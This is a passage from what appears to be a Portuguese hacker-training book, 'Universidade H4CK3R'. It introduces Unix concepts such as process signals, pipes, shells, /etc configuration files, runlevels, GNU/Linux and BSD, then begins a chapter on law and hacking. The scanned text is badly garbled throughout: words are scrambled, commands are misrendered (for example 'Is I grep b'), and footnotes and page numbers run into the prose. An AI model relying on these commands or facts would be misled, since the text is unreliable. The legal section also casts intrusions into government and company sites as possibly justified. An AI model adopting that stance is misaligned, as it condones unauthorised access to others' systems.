Exemplo de utilizao:
$ kill -9 27536
Esse comando envia o sinal 9 (SIGKIll) ao processo 27536. Quando o nmero
do sinal no especificado, o sistema assume o valor 15.
Alm de sinais e mensagens simples, possvel dizer a um processo pard guar-
dar estruturas de dados muito mais complexas. Usando uma poro de memria
chamada memria compartilhada, os processos ativos podem, atravs de system
c:d/s, armazenar dados que sero utilizados posteriormente por outros proces-
sos. Para impedir que outros processos alterem os dados antes que o processo
gerddor tenha terminado de mexer neles, so usadas entidades chamadas sem-
foros, que bloqueiam o acesso quela posio de memria at haver Liberao.
No objetivo deste Livro entrar em detalhes sobre tL"Oria ou particularidades sobre
desenvolvimento de software, sinais e chamadas de sistema. Entretanto, sua obriga-
o conhec-los! Pard mais informaes, consulte a norma POSlX do SiJIg/e Unix
Spedflcation (www.lmixWlems.org)'Tambm deveras educativo escolher lUTI sa-
bor qualquer de Unix e buscar as es{XXificlcs do fabricante. Um bom sistema para
isso o Unux, por ter truo o seu cdigo aberto ao pblico em geral. e, portanto, no
preciso pedir permisso ou pagar taxas a ningum para isso. Alm disso, o linux
roda em PCs comilllS - voc JXXle CSfildar no seu computador pessoal.
Plataforma Uni x I
Universidade 1ano
Na praia catando mexilhes
lUdo bem, eu sei que o que voc queria estar fazendo agora. Mas estamos
aqui para ser no? Isso implica em no ter mais noites de sono, ser
ami-social e passar as frias trancado em casa tentando invadir aquele site ...
Brincadeiras parte, pelo shell que o usurio diz para o kernel: abra um
processo a para o meu programa". Se voc tivesse de dizer isso diretamente,
teria muita dificuldade - a comunicao com O kernel no l muito inteligvel.
O shell trabalha ento como um intrprete entre a Ilgua que falamos e a "lin-
guagem" do computador""' .
No incio deste captulo usamos alguns comandos para "navegar pelo sistema
de arquivos". Mas o shell no um simples interpretador de comandos. Entre
os recursos mais importantes, est o encadeamento de comandos, ou piping.
fi algumas pginas, vimos que o encadeamento de comandos uma das for-
mas de comunicao entre os processos e que pode ser disparado pelo usuriO
por meio do carJ.ctere I. Usando diversos pipes, um comando de apenas uma
linha pode fazer com que um arquivo ou pedao de informao seja processa-
do por vrios programas seqencialmente. A sada de um programa "flui pelo
duto e desemboca" na entrada do progrdma seguinte. Por exemplo, considere o
seguinte comando;
$ Is I grep b I sort -r I tee arqsaida I wc -1
O comando Is lista o contedo do diretrio. Em vez de mostrar na tela, o
pipe joga a sada de Is para o comando grep b, que filtra os nomes de arqui-
vos que contenham a 1etrd b. Em seguida, a sada do grep jogada no coman-
do sort -r, que classifica os nomes em ordem decrescente. A sada do sort
inserida no tee, que divide os dados em dois como se fosse uma conexo em T
ou "benjamim".As informaes do sort vo ser gravadas no arquivo "arqsada"
e, simultaneamente, so passadas ao comando wc -1, que conta o nmero de
linhas. Como resultado desse comando, temos impresso na tela a quantidade de
arquivos que contm a letra b, e no arquivo temos gravados os nomes
desses arquivos.
E. .. se exemplo vai alm de demonstrar a possibilidade de encadeamento. O
Unix foi pensado desde o comeo como um sistema que tivesse ferramentas
pequenas, mas poderosas e ultra-especializadas. Tais ferramentas podem ser
combinadas para formar lima ferramenta maior e mais complexa para execu-
tar uma determinada tarefa. Com isso, evita-se a "reinveno da roda", pois usan-
do-se blocos bsicos de construo - como num Lego (tm) - reaproveita-se o
trabalho j existeme. Essa viso difere radicalmente da Windows" de
fazer as coisas: programas grandes que renem a maioria das funes que o
usurio possa precisar. No Unix, menos mais .
... Qualquer gnifico no Unix /XX/c (.onsidcrndo ' um sobrr o shell". portanto. o rncioClllio
"qui ocw;riro ainda .':ilido.A gros.<;o modo lodos os gerndos denrro cio ambicnu' /( .Jfico s:io filho!,
ou do servidor X, da mesma forol;' que o.'> Kcn.dos pcloshd/.>Jo filhos do mesmo shell
I 101 I
Plataforma Unix
I Universidade H4CK3R I
1102 1
Minha coleo de conchas
H diversos sheUs disponveis para o usurio. Cada implementao do Unix
adota a que mais convm ao fabricante ou ao destino a ser dado ao sistema.
Normalmente so distribudos trs shells com os Unix comerciais: Bourne, Korn
e C Shell. Mais recentemente, os sistemas tambm incluem a verso GNU do
Bourne Shell, chamada de Bourne Again Shell ou Bash. Todos eles suportam mani-
pulao de processos, redirecionamento e piping, caractersticas comuns em um
sistema Unix. Mas, obviamcnte, cada um tcm suas particularidades.
Desenvolvido em 1975 por S. R. Bourne, o Boume Shell foi um dos primeiros
a serem implementados e serviu como referncia aos que vieram depois. Sim-
plificava sobremaneira a operao do Unix, que at ento calcava-se num shell
muito primitivo. Mas ainda eiJ. muito simples, embOiJ. por isso mesmo seja, at
hoje, o menor em tamanho e o mais rpido.
A (. "'Voluo do Bourne Shell foi o C Shell, desenvolvido pelo ento professor BillJoy. O
C Shell implementou o histrico de comandos (se voc j digitou, no precisa. digitar de
novo, basta pnxurar na lista), o alias (pennite atribuir apelidos curtos a longos coman
dos com diveISQS pilX$) e controle de processos L'1l1 foreground e backgound. Mas a
maior caraoerstica do C-Shell a sintaxe dos comandos, muito parecida com a do C,
facilitando sobremaneim a criao de shell scripts. Recentemente, foi desenvolvido O
TC Shell ou Turbo C Shell, com melhorias na interatividade da reedio de comandos.
Um hbrido dos dois anteriores foi o Kom Shell, d(.'SCnvolvido por D'J.vid Korn da
AT&T. Ele tenta ser unta alternativa coerente, implementando as caraaeristicas JX>Siri-
VolS de ambos os shells anteriores e eliminando as conflitantes.
O Bash a reimplemenr.to do projeto GNU fYJ.I""J. o Boume Shell e recebeu diversas
melhorias na fL'"(.x1io de linha de ,"'Ornando, embora mantendo as mesmas caracteristi-
ColS do antecessor com relao a scriplS.
Falamos aigLunas VC"".lCS em shell scriplS nos ltimos parJ.gI<os. Mas o que ser isso?
Script for a jester's tear'
o shell , primariamente, um interpretador de comandos que responde
interativamente aos estmulos do usurio, mas tambm pennite criar um arquivo
com uma lista de comandos que secio eXL'cutados seqencialtnente. Com um pou-
co de prtica, possvel transformar essas "listas de em programas
teis que executam tarefas muito complexas. Um progf"'J.mador tarimbado pode
implementar com shell scripts qua1qucr servio em uma mquina Unix, inclusive
com acesso de baixo nive1 a hardware, sem precisar conhecer C ou Assembly.
Consulte (no CD) os apndices sobre progf"'J.mao. H uma parte especial s0-
bre sheU script. Sugerimos tambm que o leitor aprofimde-se nisso. Um bom hacker
tf"'J.nsita com galhardia pelos Unix shell scripts. A Internet est repleta de sites
sobre o assunto, basta procurar no seu site de buscas favorito. No CD esto
includos alguns tutoriais. Pf"'J.tique! importante!
8 lbum de estrti:l. d:l. !):l.nd;J brWiniCl de rock A1:Jrillion, l;Jn::I.(lo em 1980.
Plataforma Unix I
Universidade 1ano
Todos os segredos esto no /etc'
De lOdos os tesouros escondidos nas entranhas dos sistemas Unix, alguns dos
mais valiosos esto nesse diretrio: nele que Iodas as configuraes so
mamidas. Vimos no captulo 3 que o Microsoft Windows possui uma entidade
chamada Registro e que todo o siSlema gira em lOrno dele. O assumo IOmou
grande parte do captulo anterior. Em se tratando de Unix, h mais a se falar
sobre o sistema de arquivos, shell c processos do que sobre o Idev.
Embora seja a chave da operao do sistema - na prfllica, quase mdo o que um
administrador de sistemas precisa saber est a -, o lelc to simples de ser enten-
dido que, como conjunto, no h muilo o que se falar sobre ele. As configuraes
esto guardadas em arquivos de texto puro humanamente lt.. -gveis. Os alUOn.--s vem
CSS<I aoordagem com melhores OU1OS quando confront:ldos com o paradigma do
Registro no Windows. Mas, como tudo, tambm h algumas desvantagens neSS<1
aoordagem.A maioria delas advm da fJ. lta de padres, que faz com que o Unix da
IBM, o AIX, seja muitssimo diferente do Unix da Sun, o Solaris, por exemplo.
Ao contrrio do Wmdows, em que o registro gravado normalmente em dois a
cinco arquivos, no Unix cada aspecto do sistema possui um arquivo diferente, nor-
malmente pequeno e de contedo simples. Bom para li modularidade do sistema,
mim pam a operao: so dezenas de arquivos padronizados e centenas de outros
que so dependentes da implementao. bvio que esse cenrio menos compli-
cado que a organizao das HKl!l'S no Windows, mas ainda assim amedrontador.
Como bnus, os sistemas Unix nos livmm das malditas chaves CLSlD - p:wJ. usar
um programa como servidor de um SCripl basta usar as APls, amplanlente docu-
mentadas, muito mais simples e em lingua humana. Como demrito, a j citada falta
de padres fora os usurios a especializar seus scriplS mais complexos, pois no
funcionaro da mesma fomla em todas as implcment:locs.
Inittab and the Runlevels
(parece banda de rock. mas no ... )
Logo aps o boot , o kernel inicia o primeiro processo, pai de todos, o init. A
primeira providncia do init ler sua tabela descritiva, armazenada em Idev/
inittab. Esse arquivo informa ao init onde esto os daemons que devem ser
inicializados, quais os scripts que contm as tarefas do processo init , quantos e
quais terminais sero ativados e algumas "armadilhas" (traps) para sinais do
sistema, tratando--os com a rotina correta.
O inittab tambm informa o processo init a respeito dos nveis de execuo
(ou mnlevels) do sistema. Runlevcls so diferentes nveis nos quais o Unix pode
operJr, e indicam quais servios devem ser iniciados pelo init e quais devem ser
finalizados. Um runlevel mais baixo indica que h menos servios rodando, um
mais alto significa muilos daemons sendo inicializados. Examinando um siste-
ma Red Hat Unux, encontmmos seis nlnlevels:
1103 1
Plataforma Unix
I Universidade H4CK3R I I
104 I
o - Hall: o sistema encerra suas alividades e desliga
1 - Monousurio
2 - Multiusurio
3 - Muiliusurio com servios de rede
4 - No usado
5 - XII: o mesmo que 3, mas em modo grfico
6 - Reboot: o sistema encerrJ. suas atividades e reinicia
Cada sabor de Unix tem sua prpria configuf"J.o de runJevels, e mesmo dife-
rentes distribuies Linux possuem esquemas diversos. Por exemplo, num
Slackware Unux e num HP-UX o nvel de execuo da parte grfica 4 e no 5.
Quando o init criado, o kemel passa a ele em qual runlevcl o sistema deve
funcionar. Se essa informao no for passada, o prprio iniltab informa qual o
valor default. possvel mudar o nvel de execuo durante a operao do Unix
com o comando init n, em que n nmero do runlcvcl parJ. o qual queremos
Note que os nveis de execuo so meramente listas ordenadas de processos
a serem iniciados ou fmalizados. Quando voc do runlevel 3 para O 5
(com o comando mit 5), por exemplo, vrios processos do runJevel 3 so tenru-
nados antes que os do runJevel 5 sejam inicializados. E note tambm que o usu-
rio pode, manualmente, chamar programas no previstos nesse nvel. Estando
em runlevel 3 (modo texto) o usurio pode chamar o servidor X e trJ.baUlar em
um ambiente grfico. Ele no precisou deixar o nvel 3 e entrar no 5 para isso.
Tenha em mente que os runlevcls so meios de facilitar a administrao do
que ser inicializado quando voc liga a mquina. Fazendo um parJ.lelo com o
antigo MS-DOS, pense neles como uma srie de arquivos AUTOEXEC.BAT, cada
um iniciando uma gama diferente de programas.
Tooos os claemons inicializveis no bool possuem um script no diretrio init.d. Na
maioria dos sistemas linux este diretrio est no letc, nos outros sabores de Unix
isso varia bastante. No HP-UX, por exemplo, tais scripts esto em Ibin.finit,d. Eles
cam . ."goUI1 e d(.'S(.<lf"f"t:g<UI1 o daemon na memria, fornecem o estado de execuo do
programa, recarregam as configuraes do mesmo sem p-J.t"J.r o proces.. .... ullcnto -
tudo depende do parmetro passado ao script - e podem 5(,.1' executados manual-
mente pelo SUIXTI1Surio, caso queira parJ.f ou iniciar algum servio. Mas so us.'1dos
principalmente para a inicializao automtica pelo esquema de nmlevels.
H um outro conjunto de diretrios chamados de rcN .d, sendo N o nmero do
nvel de execuo. Os servios a serem inicializados no runJevel 3, por exemplo,
esto em rc3.d. A localizao desse conjunto de diretrios tambm varia muito
entre os diferentes sabores de Unix. Podem estar em letc, letc/init.d, Isbin ou Ibin.
Dentro do diretrio rcN.d h diversos links simblicos. Pense nos links sim-
blicos (ou symlinks) como os ataUlOs do Windows: entidades que apontam
para o arquivo verdadeiro. Os nomes do symlinks desses diret6rios tm a se-
guinte estrutuf"J.:
Plataforma Unix 1
Universidade 1 ano
Xnnnnome_do_daemon
X pode ser uma de duas letras: S ou K. S indica ao processo init que o daemon
tem de ser inicializado quando se emra naquele runJevel, e K indica que o daemon
tem de ser terminado ao sair do nllllevel. nnn um gnlJ)o de trs algarismos
que indica a ordem pela qual os processos so iniciados ou mortos. Sistemas
GNU/Linux usam apenas dois algarismos. O nome_do_daemon serve
par:.l identificar o symlink.
Um exemplo prtico. O servidor de e-mail sendmailtem de ser inicializado quan-
do entramos no nvel 3. Par.! tanto, h um symlink apontando para iniLdlsendmail:
S980scndmall
Isso indica ao processo init panl inicializar o sendmail na posio 980 (ou seja,
depois que os servios com nmeros menores j estiverem inicializados). Quan-
do o Unix deixa o runlevel 3 (no desligamento da mquina. por exemplo), o link
simblico correspondente - tambm apontando para init.d/sendmaiJ - :
K120seodmail
indicando ao irut para desligar o na posio 120, depois que todos
os processos com numerao mais alta que 120 j tiverem sido terminados.
Cada sabor de Unix possui um ininab e um esquema de runlcvds que, apesar
de semelhantes, so diferentes. Sugerimos ao leitor que \.'asculhe esses arquivos
em todos os Unix que estiverem mo, comparando-os entre si. No se atenJla
apenas ao inittab: visite todos os arquivos indicados nele.
Outras gemas
o /etc encerra arquivos de configurao importantes, muitos deles de aspectos j
neste captuJo. No nosso objetivo ser uma fome complt:ta de infOnrule!:.
sobre Unix - I'l:{ verdade, este livro apenas arranha a supemcie. Mas wna pesquisa
mais aprofundada no contedo do diretooo ser de grande valia pam o leitor.
Como no h muito segredo em visualizar arquivos de texto, deixamos ao lei-
tor nus de descobrir como e par:.l que servem cada um dos arquivos presentes
no l etc. Abaixo h lUlla lista com os arquivos relevantes na maiori:l dos "sabores".
Interrompa a leitura do livro por uma semana e esrude-os todos, consultando
sempre a pgina de manual (man nome_do_arquivo) associada. Alguns nomes
podem ser diferentes em seu Unix, mas o arquivo correspondente est l. Se o
arquivo indicar diretrios ou outros arquivos, visite-os e veja o que eles contm.
services
protocols
inetd . conf x inetd . conf
crontab
profile
bashrc
cshrc
shrc
passwd/group/shadow
hosts
host . con f
11051
PLataforma Unix
Univer si dade I I
1106 1
resolv . conf
inittab
fstab (vfstab no Solaris)
mtab
ld . so , conf
netgroup
netmasks
termcap/printcap/screenrc
toda a estrutura abai xo de init . d
toda a estrutura abaixo de rc . d
toda a estrutura abaixo de sysconfig
Dica: em vez de cat, use para visualizar os arquivos o comando more, que
mostra uma pgina de vdeo por vez. Se o seu sistema possuir, use o less ao
invs do more - com de possvel retroceder a pginas anteriores.
o meu eu quero de flocos ...
H vrios comerciais de Unix, cada um deles com suas qualidades e
problemas - entre eles o preo. Como ento saber qual Unix o melhor para
voc? Esta uma pergunta difcil de ser respondida. Nonllalmente, o melhor
Unix o que voc j usa, ou o que voc est mais acostumado. Outras vezes o
melhor Unix o que j vem configurado de fbrica, s ligar e usar. Outras ainda
dependem do preo baixo. Como so produtos proprietrios, joga-se de acordo
com essas regras. Seu representante tcnico seu meUlOr amigo nessa hora.
Mas h opes de sistemas Unix:! quem ch.unamos de livres. So sistemas opLT'J.cionais
parecidos com o Unix, mas cujo cdigo-fonte aberto - qualquer um pode I-lo e saM
como funciona. So nonnalmente mmtidos por voluntrios ou empresas engajadas na
produo de um que seja independente de fornecedor.
Novamente, h vantagens e desvantagens. Dentro: as vantagens, existe a certeza
de que o produto no possui falhas - e se houver, voei?: mesmo pode corrigi-las. Mas
voc tem cel1eza de que elas 0.10 esto escondid'lS, um triste ato de m-f de algu-
mas empresas de tecnologia por . ... OutrJ. vantagem o alto grau de personali7.ao
que LUll sistema desses oferece. Sendo aberto, qualquer um pode modific-lo para
atender a seus interesses.
A desvantagem fica por conta dos paradigmas gerados pelo modelo tradicio-
nal de negcios, sendo garantia e suporte os mais comentados. Isso resolvido
em parte por empresas que vendem solues baseadas nesses sistemas, mas
ainda um mercado no consolidado e h muitos amadores solta. At que se
separe o joio do trigo, muitos tero perdido dinheiro com eles - e erradamente
colocar.l0 a culpa no software.
Plataforma Unix I
Universidade,o ano
Free as in free speech ...
Nos primrdios da computao, no havia essa noo de software aberto ou
proprietrio porque todos os programas podiam ser livremente compartilha-
dos. Os usurios de informtica de ento eram quase todos cientistas, e o
compartilhamento de infonnaes algo trivial entre eles. O dinheiro do mer-
cado de infonntica circulava apenas para as mos dos fabricantes de hardware.
Mas, medida que o tempo foi passando, apareceram empresas produtoras de
software destinado venda. Obviamente no era do interesse dessas empresas
que seus softwares fossem copiados e distribudos gratuitamente, portanto O
cdigo-fonte no era divulgado. Isso passou a ser comum a partir de ento.
Richard StaUman erd um programador que trabalhava para uma empresa pri-
vada. Ocorre que escreveu um programa que achou realmente bom e quis
compartilh-lo com a comunidade Unix de ento - mas foi impedido pelo seu
empregador. Stallmann ficou to frustrado que radicalizou: pediu demisso e,
em 1984, criou um projeto - o GNU - e uma licena - a GPL.
O projeto GNU
iO
- GNU's Not Unix - uma tentativa de criar um clone dos
sistemas Unix que Stallmann usava, mas que no possuam nenhum cdigo origi-
nal da AT&T. J foram criadas diversas ferramentas para o sistema, incluindo as
de manipulao de arquivos (Is, cd, pwd, caL), compiladores (gcc e g77, para C
e Fortran, respectivamente) e programas complexos como a linguagem de scripts
gawk e o editor de textos Emacs. O kemel, entretanto, nunca ficou pronto.
A licena GPL - General Publk Ucence ou Licena Pblica Geral - expressa-
mente permite a cpia e a distribuio gratuita do programa sob essa licena,
desde que os cdigos-fonte do progrdma sejam distribudos tambm. Isso per-
mite a reutilizao do cdigo por outras pessoas sem restries - a no ser a de
respeitar os direitos dos autores originais e nunca fechar o cdigo resultante,
impedindo que outros tenham acesso a ele.
Detalhes sobre o que Software Uvre e o que Cdigo Aberto encheriam
todas as pginas deste livro. Nosso objetivo no versar sobre esse assunto.
Mais informaes podem ser obtidas no site oficial do projeto GNU
(www.gnu.org), da Free Software Foundation (www.fsf.org) e do Open Source
lnitiative (www.opensource.org).
A dana dos pingins
Como vimos, o projeto GNU empacou no desenvolvimento de seu prprio
kernel. Nesse meio tempo, um fmlands maluco chamado Linus Torvalds criava
um kemcl que seria um fenmeno mundial: o Unux. inicialmente apenas um
sistema de comunicao com um BBS, o prottipo rapidamente evoluiu para
10 Depois do GNU. virou moeI;. <.; ri;J.r nomes ,<;cj am recorremes O simbol o do
projeto GNfJ um animal encolllrado n.1 frica e parecido com um biso, cujo nome . __ Gnu_
1107 1
PLataforma Uni x
I Universidade H4CK3R I
1108 1
um kernel completo. Em 1991,Torvalds decidiu colocar o linux sobre a licena
GPL e usar as ferramentas GNU com seu kemel . por isso que os preciosistas
do mundo da computao (eu me incluo neste gmpoO referem-se ao sistema
como GNU/linux - seria injusto com O Sr. Stallman se no fosse assim.
O Unux hoje um Unix-clone de baixssimo custo e altssimo desempenho. Pro-
jetado inicialmente para o IBM-PC, roda em vMias pL,ltafonnas de hardware com o
mesmo cdigo e funcionalidade - feito ainda no alcanado por nenhum outro
sistema opcr.tcional.
O problema do linux sua triste falta de padres. Existem centenas de disuibui
es ao redor do globo, cada uma com uma estrutura interna - incluindo hicr.tr-
quia de diretrios - propria. Como frisamos no inicio do captulo, a base dos Unix
seu sistema de arquivos. Isso resulta em sistemas que, apesar de possurem o
mesmo kemel, so incompatveis entre si. O padro linux Standard Base ou LSB
(www.linuxbase.org) um esforo das maiores distribuies do mlmdo par.t resol-
ver o problema. Acredita-se que em poucos anos haja compatibilidade totaJ entre
todas as distribuies que aderirem ao padro.
P'.tra saber mais sobre o GNU/linux, o melhor ponto de partida o site oficial,
www.1inux.org. Para mais informaes, basta procurar por ele em seu mecanis-
mo de busca favorito. O Google possui um endereo dedicado a Linux em
www.google.com/linux. H revistas especializ.1das que podem ser consultadas,
entre elas a Revista do Unux, a Arquivo Unux, a Unux BR, e muitos bons livros
podem ser encontrados em livrarias. Mas no deixe de estudlo. obrigatrio!
o diabinho que ri. ..
Linux no suficiente pra voc? Quer saber uma segunda opinio? Experimeite
as variantes livres do Unix da Universidade de Berkeley. Com suas licenas me-
nos restritivas que a GPL, os sistemas *BSD podem ser usados em solues que a
licena do GNU/linux no permitiria. Clda um tem suas caractersticas, e uma
leitura em seus sites oficiais certamente o deixar tentado a experiment-los.
Muitos usurios dos *BSD (especialmente do FreeBSD) saram do Linux e dizem
que no voltam mais. Infonnaes sobre o BSD podem ser obtidas em:
FreeBSD - www.freebsd.org
OpenBSD - www.openbsd.org
NetBSD - www.netbsd.org
O BSD comercial da BSDi - www.bsdi.com
Plataforma Uni x I
Universidade 1ano
Vou can go on your own way ... "
Nestas poucas pginas, lentamos introduzir os princpais conceitos dos siste-
mas Unix. H livros inteiros escritos apenas sobre partes do Unix, portanto,
seria impmdente (e desonesto) tentar condensar em um captulo o contedo
de vrios deles.
Mas muito importante que o leitor estude sobre Unix com afmco e procure
outros livros e outras fomes. Visite regularmente todos os sites indicados ao
longo do captulo e vasculhe-os completamente. Nada lo poderoso na mo
de um hacker quanto uma conta em um computador Unix ligado Internet.
II Flcc/wood M'I( . .', dQ ;i/bum RumOllr5 de 197$.
11091
Plataforma Unix
Fundamentos
,
Captulo
'An nescis tongas reg/bus esse manus?"
Ovdio, em Herodes, 17:166
1 NJQ5:>MCOItlQ"-' mosdos rc/s siocompri<J3s? Um dir;Wo popubr frdn<-r< (k;' rorlon'
/es bras kmg". - as rcisu'm osl>t;o= 10f1/l0-9 deri .,,,1o <ks>c' ltn:OO dI., Ileroides
I Universidade H4CK3R I
I 112 I
Se voc est lidando com situaes-limite, nunca t: demais ter runa viso geral
dos aspectos jurdicos que as afetam dirctamentc. Poucas situaes so to
limitrofes quanlO as enfrentadas pelos usurios de infonntica em geral e pelos
hackers1. em especial. O que crime? O que direito? O conhecimento uma das
principais armas do hacker, que deve estar atento aos movimentos feitos pelos
governos e s polticas institudas pelas empres.1S quanto manipulao de da-
dos. A ignorncia em relao s leis pode trazer srios problemas, mesmo em
casos simples em que o usurio age de fonna inocente sem saber que est come-
tendo um crime. Estar atento aos casos que j ocorreram, para que no haja
nenhuma dvida de onde e como agir, no mnimo uma atitude sbia.
A paJavra legislao nos d uma VJg<1 idia de e,tar lidando com o bem e o mal. H
uma gr.mde discusso sobre a relatividade desses conceitos, mas d".ovemos ter em men-
te que a (1iGI que I\..oge o possvel contedo dessas leis pane da necessidade de protL"-
o das empresas e dos govemos. Nem sempre as leis s10 feitas para o dcL'ICHio, nem
sempre o que kgal moralmente correto. Portanto, os indivduos que a imprensa
simplria costuma chamar de hackers nem sempre podem ser tachados de h:mdidos,
embora, segundo a lei, geralmente incorram em aimes por ela previstos. Robin Hood
era criminoso, mesmo agindo seglmdo prinpios morais extremamenle e1cvJdos.
As gnmdes estratgias para o combate aos cibercrimes comeanlm a ser
elaboradas aps os atentados terroristas ocorridos nos Estados Unidos no dia
11 de setembro de 2001. Desde emo o governo norte-americano passou a
ditar o destino de hackers e crackers pelo mundo, exigindo de todos os outros
governos leis que facilitem a ingerncia dos Estados Unidos nesses assuntos; e,
em todos os outros ..
Por que a sociedade teme os hackers?
Para a sociedade, a imagem dos h'lCker.<; est intimamente ligada ao crime.
Esse esteretipo vem da falta de compreenso do universo digital em que esto
inseridos. Eles so vistos como destruidores e ladres de dados, que se utilizam
de meios ilcilOs para roubo, vandalismo ou lavagem de dinheiro.
MuilO dessa imagem fmto da divulgao mope promovida pelos meios de
comunicao. Nunca o outro lado, o lado do underground, o lado da guerrilha, o
lado da resistncia, levado em conta. Apenas as empresas e os governos, al-
guns deles autoritrios (embord travestidos de democrticos), tm espao na
mdia quando um evento desses acontece.
A pergunta que fica : voc n::almcnte acredita em tudo o que l? Talvez o
jornal televisivo das 21h no seja aquela fonte confivd de informao que
voc est acostumado a pensar que erd.
2 Ent(.nW il f'ill;llT'd hadcr nesse par.igr;db /amo em seu sentido origjnaJ (e>pcXiaJi>t3) como no popu1ilr
m.a/1.11do). Amlxls de.'eID Silber :lIt onde fXXlcnJ iI; c: do:_XHr se .;'lo rr.m:;gredir 011 nJo os (nem sempre justos ou
mordTlCtJre COf7l'ros) limires Iqpk
Fundamentos Jurdicos I
Universidade,o ano
As liberdades individuais e o
direito privado
Ningum lem direito de invadir a privacidade das pessoas. Mesmo parecen-
do bvio, afinnaes como essas tm de ser includas em qualquer documento
ou lei que trdte das garantias de inviolabilidade privada. As constituies de
quase todos os pases possuem algum dispositivo semeUlante, e mesmo a De-
c1ardo Universal dos Direitos Humanos prev a proteo vida pessoal e
privada das pessoas j em seus primeiros pargrafos.
O que tristemente vemos acontecer todos os dias, desde o fim da 2
a
Guerra
Mundial, um recrudescimento das leis nacionais buscando um maior controle
dos governos sobre seus cidados. Todos os dias, desde ento, novas tecnologias
so aplicadas em controversos e arbitrrios sistemas de monitomo. Com a
desculpa de que "a polcia precisa fazer seu muitas pessoas durdnte
todo o sculo XX livemm seus telefones grdmpeados, suas correspondncias
violadas, seus passos seguidos e, nos anos 90, sua atividade na Internet vigiada.
Quantos segredos pessoais - mesmo no sendo crimes - no fomm revelados
publicamente por conta dessa arbitmriedade?
Alguns pases comeardm a chamar para si a responsabilidade de ser a
cia do e, para tanto, at hoje submetem outros governos menos podero-
sos s suas polticas. Fingindo estar caa de terroristas ou de proteger o
mundo contm individuos perigosos (e jogando num mesmo caldeiro hackers,
terroristas, guerrilheiros e comunistas - quem no se lembrd da guerrd fria?) ,
naes poderosas violam a sobemnia de pases e impem suas cartilhas comer-
ciais e polticas. Bela maneira de disfarar segundas intenes, no mesmo?
Longe de entmr nessa discusso politica, os autores querem chamar a ateno
do leitor pam o perigo incipiente da aprovao de leis ou mesmo constitues
elabomdas para proteger os interesses de terceiros e no dos cidados. Pergun-
te a um advogado sobre o assunto. Voc ficar surpreso com a quantidade de
garantias que empresas estrdngeiras possuem aqui no Brasil em detrimento das
necessidades bsicas dos cidados, sempre deixadas em segundo plano.
Toda moeda tem dois lados. H lmckers agindo com conduta duvidosa. H
gente muito bem treinada bisbilhotando seus segredos em casa ou no trabalho.
H vndalos que fazem tudo pelo prazer de destruir. Assim como h governos
e empresas com intenes no muito nobres, h hackers (e no so poucos)
que so, realmente, criminosos e devem ser punidos por isso. Fazer leis que
protejam indivduos e entidades pblicas e privadas desses " hackers do
sem ferir os direitos de privacidade das pessoas uma tarefa dificlima.
I 11 3 I
I Fundamentos Jurdicos
I Universidade H4CK3R I
1114 1
o direito informao e os ataques
liberdade
J que no podemos confiar em governos e leis, por que ent:l0 disparar tlccruLS
acusador JS sobre pessoas que o establishmem considera como criminosas? Usando o
bom senso' , qualqut'f tun na ma perceberia que tuna pessoa como Dmitry Sklyarov no
teVe a inteno de prejudicar uma empresa como a Adobe, mas sim alertar OS possveis
usurios e a prpria Adobe que seu sistema de criptografia era (e ainda ) faJho. Mas a
empresa no entendeu dessa ronna, c U'iQU os dispositivos legais previstos peJo Digital
MilIcniwn O:>pyright Act, o furnigerado DMCA, para process-lo.
Esse wn dos muitos casos de k-is injust:LS ou maliciosas que tr.tbalham em fuvor de
governos ou gmndes empresas e contra o interesse cotnwn. lmagine empresas e individu-
os confiando cegamente na criptogr.lfia da Adobe para proteger seus doctunentos, se-
jam eles segredos industriais ou coITeSJX>ndncias amorosas. Com esse processo contra
o hacker russo, a Adobe tentou V.tITCI' para debaixo do tapete os problemas de sua
tecnologia, em vez de agradecer a Skly.u-ov ou mesmo contr.tt-lo paro. melhor-la.
AlglUlS meses depois, tOOos os sites de notcias de tecnologia divulgaram a tencativ.t da
Microsoft de transfonnar cm crime a divulgaio de f.tlha.s de software por "afPltes mio
(Jeia-se: eu e voc). O:>m o pretexto de que as divulagaes de falhas "atrapa-
lham a inovao", tent:ltivas como essas procuram institucionalizar a sujeira sob o tapete.
Tal iniciativa, na poca, no resultou em uma lei. Mas no espere que a tunna de
Redmond tenha desistido da id6a.
N"ao s as empresas slO oc'llefidadas por essas abermt:S legais. A atual administrao
federal dos Estados Unidos da AmriCl divulgou wn documento dumado de Doutrina
Bush, que escancara a supremacia norte-americana e fere de fonna pomogrfiCl os direitos
de cidados no mundo tOOo e as soberanias de toOOs os lX5e:S do globo.
Todos os govenlOS e a maioria das grandes empresas manipulam ou escondem infor-
maes e criam leis para tornar isso legal, mesmo que as infom1aeS sejam sobre voc,
Cl1U leitor; ou o ak1:em de alguma fimna. Portanto, na prxima vez em que wn hacker
invadir wn site do governo ou empresa e divulgar infonnae5 sobre a admi-
nistrao que voc pode ter ajudado a eleger, reflita bastante e use o seu bom senso (e
no o senso comwn) par.! <k"Cidir qlK.m o mcrinho e quem o bandido.
Mas e os hackers realmente maus? E as situaes no- prevNa.s? E os hackcrs "por acKk..1l-
te"?Toda histria tem dois lados, e o rnoralmente correto nem sempre o que esr demro da
Lei Mas algumas vezes est. "N"ao julgueis, IXlfa que no sejais juIg.Klos. R:li.s (:oro o critrio
com que sereis ... Portanto, tudo quanto, pois, quereis que os homens
vos faam, assim fuzdo vs tambm a eles ... " (EvangeUlO de So Mateus 7:1 ,2, 12).
J S in/ds.No .. ", IlaCho;:iolitcr.d.
Ocalllloar,sensrbnone<mJ<.Tic:;rnoo;pod!:,.;rcs.::riwromv;a...:>wm..",A "I>m;)., literal
o.po m,j LWno!i. ..mcan.:..cilSiDooliti:n,.,.", no:ode bom .'11""-' r.Jdodn:uprimdroslenconlt'.II'uoltl II!<U1b
calJmOOsensrtcm llmI C<JfIOCa:iodikrrnl<':,.....,. ... """"'nJ'C:';p f""K'C'Sprr:smfC'l'"
"p;u:>r pat:I JXflSU" fbnanw.bom 'CruO pcns;>r""IC'lde oommotl .<ioonirnode idt'ia I'tN:nncebilJ;,
Fundamentos Juri dicos I
Universidade,o ano
A legislao brasileira
o grande tnuo dos h:lckers brasileiros a f.t1ta de legislao apropriada para
lidar com os crimes eJetrnicos. A falta de leis especficas torna o Brasil um verda-
deiro paraso para todo o tipo de invas.'o e maniptdao ilcita de dados. As pWlj-
es aplicadas so baseadas em leis que se aproximam da situao do crime e1etf-
nico. Gnmde parte dos casos resolvidos pelas autoridades nacionais relativa a
casos de pinltaria e pedofilia, e no invaso e de sistemas.
A falta de proteo legal preocupa muito o governo e as gr.tndes empresas,
pois estas so obrigadas a gastar quantias elevadas de dinheiro com softwares
